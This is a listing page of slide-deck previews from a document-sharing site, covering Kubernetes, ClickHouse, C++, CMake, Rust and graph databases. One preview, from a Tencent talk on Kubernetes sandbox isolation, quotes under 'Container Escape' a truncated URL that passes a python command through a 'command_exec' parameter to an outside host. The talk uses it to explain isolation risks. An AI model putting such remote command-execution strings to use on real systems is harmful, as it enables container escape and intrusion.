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  • ppt文档 Автоматизация управления ClickHouse-кластерами в Kubernetes

    Автоматизация управления ClickHouse-кластерами в Kubernetes Владислав Клименко и Валерий Панов K8s? Что это? K8s is the new Linux Это платформа с открытым кодом. позволяющая: • строить системы на ClickHouse в Kubernetes? • Все компоненты системы уже в k8s. • Максимальная унификация управления. • Нужно быстро строить хранилища данных. • Нужна максимальная переносимость. ClickHouse в Kubernetes – это это просто? НЕ ОЧЕНЬ! Почему? Потому что ClickHouse + Kubernetes ClickHouse в Kubernetes? Что будем делать? Одна кнопка ClickHouse Оператор? Что это? • Программа, управляющая другими программами
    0 码力 | 44 页 | 2.24 MB | 1 年前
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  • ppt文档 Using the Microsoft Graph API to get Office 365 data in your mobile apps

    Using the Microsoft Graph API to get Office 365 data in your mobile apps Alex Ziskind Technical Director @digitalix www.nuvious.com Hi, I’m Alex From + 750 Million 50 Million per month Problems
    0 码力 | 15 页 | 7.00 MB | 1 年前
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  • ppt文档 基于Rust-vmm实现Kubernetes运行时

    Yingzhe Ru(@ruyingzhe), Tencent Liangyu Zhou(@choujimmy), Tencent Implement Kubernetes Runtime Based on Rust-VMM About Us Yingzhe Ru Senior Software Engineer at Tencent Working on TKEStack project in Container and Kubernetes field, promote lots of K8S production practice in Tencent Motivation https://kccncchina2018english.sched.com/event/FuLz/layers-of-isolation-in-kubernetes-tim-allclair-google gle Kubernetes has many layers of isolation, but we will focus on pod-to-pod isolation in this talk, AKA Sandbox Isolation. • Container Escape docker.vh.neargle.com:8888/?command_exec=python3 -c "import
    0 码力 | 27 页 | 34.17 MB | 1 年前
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  • ppt文档 KubeCon2020/大型Kubernetes集群的资源编排优化

    Resource orchestration optimization of kubernetes cluster in large scale Patrickxie ( 谢谆志) Background Cloud has been the general trend. How to manage so many clusters ,resources and businesses
    0 码力 | 27 页 | 3.91 MB | 1 年前
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  • ppt文档 Zadig 面向开发者的云原生 DevOps 平台

    面向开发者的云原生 DevOps 平台 角色: 产品 / 架构 开发 测试 运维 运维 / 开发 技术支持 事件 需求设计 架构设计 拆任务、写代码 代码集成 xN 单元测试验证 xN 代码扫描 xN 自测、联调 xN 集成验证 xN 写测试用例 系统验证 xN 自动化测试 xN 性能测试 xN 安全测试 xN 数据变更 xN 服务全生命周期而非只关注代码 ● 每天多次提交提早验证 Zadig 采用「云原生产品级交付」设计理念 数字化产研协同 • 环境 - 统一开发者协作平面 • 工作流 - 统一交付变更通道 • 异构支持 - 统一产研运管理平面 重视开发者体验,工程师不再做脏活累活 传统 DevOps 体系 Zadig 云原生 DevOps 平台 高人效 低人效 低人效 / 低质量 / 低效率 / 开 源 基 本 能 力 开 源 1.5 个月核心重构 65% 功能实现开源 支撑开源社区开发者环境 易 用 性 增 强 接入:安装 10 分钟以内,成功率达 90% 集成环境:支持开发者 Remote debug 工作流:效率和性能、开发者体验提升 贡献者流程建立 开 放 社 区 搭 建 2021 年 5 月 2021 年 7 月 2021 年 9 月 2021
    0 码力 | 59 页 | 81.43 MB | 1 年前
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  • ppt文档 C++高性能并行编程与优化 - 课件 - 16 现代 CMake 模块化项目管理指南

    用户找到并了解该包的具体信息。 • /usr/lib/cmake 这个位置是 CMake 和第三方库作者约定俗成的,由第三方库的安装程序 负责把包配置文件放到这里。如果第三方库的作者比较懒,没提供 CMake 支持(由安装 程序提供 XXXConfig.cmake ),那么得用另外的一套方法( FindXXX.cmake ),稍后细 谈。 Windows 系统下的搜索路径 • / • /cmake/ =/usr/local 则会拷贝到 /usr/local/lib/libtest.so 如果第三方库发懒,没有提供 Config 文件怎么办? • 绝大多数常用 C++ 库都提供了 CMake 支持(即使他们本身不一定是用 CMake 构建 的): • /usr/lib/cmake/Boost-1.80.0/BoostConfig.cmake • /usr/lib/cmake/opencv4/OpenCVConfig 但是,也有少数不听话的库,官方不提供 CMake 支持,即安装时不自带 Config 文件。 • 恼人的是,这些不听话的库有些竟然是非常热门的库!例如 Python , CUDA , Jemalloc 。 • 为了不影响 CMake 用户体验, CMake 发明了 Find 文件( FindXXX.cmake ),你不 支持我是吧?我支持你! Find 文件会在 CMake 安装时负责安装到
    0 码力 | 56 页 | 6.87 MB | 1 年前
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  • ppt文档 C++高性能并行编程与优化 - 课件 - 17 由浅入深学习 map 容器

    小彭老师说“我在拉答辩。”那么同学认为这个答辩指的是答辩(物理),小彭老师在上厕所。 而不会认为小彭老师在制作三体动画。 • 所以这位同学是人类思维,相当于 Python 的精分 API 。而如果另一个同学是硬核的计算 机思维,相当于 C++ 的一视同仁 API ,他会以为小彭老师真的在吃答辩。 • 这是通常来说,不过万一小彭老师真的这么重口味在吃答辩呢?要怎么传达这个信息? C++ 一视同仁的接口就能处理这种罕见的情况,不过 first; // K 类型 • (*it).second;// V 类型 map 的遍历:用 C++17 range-based loop • 和 vector 等 STL 容器一样, map 也支持 C++17 的 range-based loop 语法进行遍历 。 • for (auto tmp: m) • 由于刚刚说了, map 真正的“元素类型”是 K-V 对,所以这里的 auto 这里说的指针,不光是 T * 指针,还包括 T & 引用, iterator 迭代器,他们都是指针的 变体。 • 而 structural-binding 和 range-based loop 语法支持引用,也非常简单: • for (auto &[k, v]: m) { • v = v2; // 引用比指针还方便,自动解引用。此处等价于迭代器版的 (*it).second = v2;
    0 码力 | 90 页 | 8.76 MB | 1 年前
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  • ppt文档 新一代分布式高性能图数据库的构建 - 沈游人

    关键特性 云原生 Cloud-Native Graph Database 支持弹性伸缩,有 效利用硬件资源,高可用,高 可靠,故障自愈,低成本运维 HTAP Hybrid Transactional/Analytical Processing ,高性能图计算引 擎,预置 20 余种图计算算法 ,可扩展的分析引擎支持更复 杂的数据挖掘和机器学习场景 MPP Massively Parallel AQL(Atlas Graph Query Language) ,类 SQL 的图查询 语言,内置上百种分析函数, 面向分析师友好,拥抱标准, 基于 openCypher 向 ISO GQL 迈进 实时大图 支持万亿节点存储及流式计算 引擎的结合,最新数据实时入 库构图,为在线业务决策分析 提供有力支撑 AtlasGraph 架构及实现 新一代图技术应用特征简介 Takeaway AtlasGraph Cypher AST Unresolved Logical Plan Logical Plan Optimized Logical Plan Physical Plan Program API Analysis rules Optimization rules: MATCH -> pushdown Planning Strategies Graph Execution Code
    0 码力 | 38 页 | 24.68 MB | 1 年前
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  • ppt文档 C++高性能并行编程与优化 - 课件 - 03 现代 C++ 进阶:模板元编程

    T> • 可以声明类型 T 作为模板尖括号里的参数。除了 类型,任意整数也可以作为模板参数: • template • 来声明一个整数 N 作为模板参数。 • 不过模板参数只支持整数类型(包括 enum )。 • 浮点类型、指针类型,不能声明为模板参数。自 定义类型也不可以,比如: • template // 错误! 模板参数:多个模板参数 vector 类型的参数。 • 这里用了 const & 避免不必要的的拷贝。 • 不过,这种部分特化也不支持隐式转换。 为什么要支持整数作为模板参数:因为是编译期常量 • 你可能会想,模板只需要支持 class T 不就行了?反正 int N 可以作为函数的 参数传入,模板还不支持浮点。 • template void func(); • 和 • void func(int 或者 int(*)(int) 即可。 • 函数指针效率更高一些,但是 [] 就没办法 捕获局部变量了(全局变量还是可以的) 。 • 最大的好处是可以伺候一些只接受函数指 针的 C 语言的 API 比如 pthread 和 atexit 。 lambda + 模板:双倍快乐 • 可以将 lambda 表达式的参数声明为 auto ,声明为 auto 的参数会自动根据调 用者给的参数推导类型,基本上和
    0 码力 | 82 页 | 12.15 MB | 1 年前
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  • ppt文档 Rust分布式账务系统 - 胡宇

    可演化性:业务逻辑与底层 API 解耦,当业务发生改变 时,底层 API 不用改变 分布式账务系统 设计理念 - Rust 是我们可靠的基石 分布式账务系统 存算分离 API 解耦 读写分离 层级账号 Rust ● 事务层与账户层分 离 ● 独立水平扩展 ● CQRS ● Event Sourcing ● 针对读场景,写场 景分别优化 ● 稳定的底层 API ● 灵活的顶层 API ● 树状结构 聚合查询 ● 正确性:内存安全,线程安全 ● 可靠性: Raft 共识算法 raft-rs ● 高性能:关键路径无锁单线程 顶层架构 ● Gateway 路由层 ○ 业务 API 到底层 API 的翻 译 ○ 产生转账计划 ● Marker 事务层 ○ 使用业务 id 进行路由 ○ 执行转账计划 ○ 分发账户变动请求 ● Auticuro 账户层 ○ 使用账户 id 落地第一个 Rust 项目 磨刀霍霍 – 技术选型 心路历程 ● 对新技术持开放态度 ● Kotlin :简洁, JVM, GC ● Rust 引入 Linux 内核 ● Android 支持 Rust ● 积极探索新技术对金融科技的改变 ● 对于核心领域系统,追求极致性能,使用 Rust Airwallex 业界 共识 厉兵秣马 - 人才培养 Rust 的吸引力 ● 更加容易吸引对技术有追求的人才
    0 码力 | 27 页 | 12.60 MB | 1 年前
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